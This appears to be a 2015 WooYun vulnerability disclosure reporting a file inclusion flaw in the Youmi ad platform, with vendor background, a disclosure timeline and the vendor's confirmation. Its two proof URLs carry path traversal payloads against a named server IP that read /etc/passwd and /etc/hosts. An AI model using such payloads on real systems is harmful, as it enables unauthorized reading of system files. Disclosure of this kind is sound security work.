漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-098504
漏洞标题：有米广告平台文件包含漏洞可获取服务器信息
相关厂商：youmi.net
漏洞作者： 几何黑店
提交时间：2015-02-27 14:41
修复时间：2015-04-13 16:58
公开时间：2015-04-13 16:58
漏洞类型：文件包含
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-02-27： 细节已通知厂商并且等待厂商处理中
2015-02-27： 厂商已经确认，细节仅向厂商公开
2015-03-09： 细节向核心白帽子及相关领域专家公开
2015-03-19： 细节向普通白帽子公开
2015-03-29： 细节向实习白帽子公开
2015-04-13： 细节向公众公开
简要描述：
恭喜发财,红包拿来
广州优蜜移动科技股份有限公司（简称优蜜移动）是全球领先的移动营销服务商，总部和研发中心设在广州，在北京、香港、江苏等地设立控股子公司，在上海、广州设立办事处。2010年4月创立以来，优蜜移动持续专注于移动互联网产品及服务，致力于让移动互联网融入人们的生活，为广大的开发者等内容提供商创造收益。旗下有米广告和有米游戏两大平台，经营业务全面覆盖了移动广告、游戏联运、游戏发行等移动营销关键链条，具备强大的移动渠道资源优势。
详细说明：
主站IP
http://118.26.238.109:10068/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
漏洞证明：
http://118.26.238.109:10068/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhosts
修复方案：
你懂的
版权声明：转载请注明来源 几何黑店@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2015-02-27 16:09
厂商回复：
感谢帮我们发现了这个漏洞，我们以后会注意程序里的示例代码和测试代码的了。
最新状态：
暂无